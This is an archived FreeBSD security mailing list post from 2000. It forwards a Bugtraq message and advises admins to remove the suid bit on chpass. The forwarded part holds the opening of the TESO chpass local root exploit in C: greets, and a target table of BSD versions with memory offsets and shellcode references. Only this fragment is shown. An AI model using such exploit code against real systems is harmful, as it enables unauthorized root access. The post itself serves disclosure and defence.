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Date:      Wed, 4 Oct 2000 00:16:45 -0500 (CDT)
From:      Mike Silbersack <silby@silby.com>
To:        security@freebsd.org
Subject:   BSD chpass (fwd)
Message-ID:  <Pine.BSF.4.21.0010040014430.35500-100000@achilles.silby.com>

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For those not subscribed to bugtraq, it's time to remove the suid bit on
chpass.

Mike "Silby" Silbersack

---------- Forwarded message ----------
Date: Wed, 4 Oct 2000 02:45:48 +1000
From: caddis <caddis@DISSENSION.NET>
To: BUGTRAQ@SECURITYFOCUS.COM
Subject: BSD chpass

/*
 * TESO BSD chpass exploit - caddis <caddis@dissension.net>
 *
 * greets: #!teso, #!w00w00, #hert!, #ozsecurity, #plus613
 *
 */
#include <stdio.h>

struct platform targets[9] =
{
    { "OpenBSD 2.7 i386       ", 141, 0xdfbfd25c, 0xdfbfdc32, ptmp_shellcode },
    { "OpenBSD 2.6 i386       ", 149, 0xdfbfd224, 0xdfbfdc1a, ptmp_shellcode },
    { "OpenBSD 2.5 1999/08/06 ", 161, 0xefbfd1a0, 0xefbfdbd6, ptmp_shellcode },
    { "OpenBSD 2.5 1998/05/28 ", 121, 0xefbfd2b0, 0xefbfdc6e, ptmp_shellcode },
    { "FreeBSD 4.0-RELEASE    ", 167,  0x805023c, 0xbfbffc68, bsd_shellcode  },
    { "FreeBSD 3.5-RELEASE    ", 135,  0x804fa58, 0xbfbfdcac, bsd_shellcode  },
    { "FreeBSD 3.4-RELEASE    ", 131,  0x804f988, 0xbfbfdcd0, bsd_shellcode  },
    { "NetBSD 1.4.2           ", 132, 0xbfbfd314, 0xbfbfdc36, bsd_shellcode  },
    { NULL, 0, 0, 0, NULL }
};




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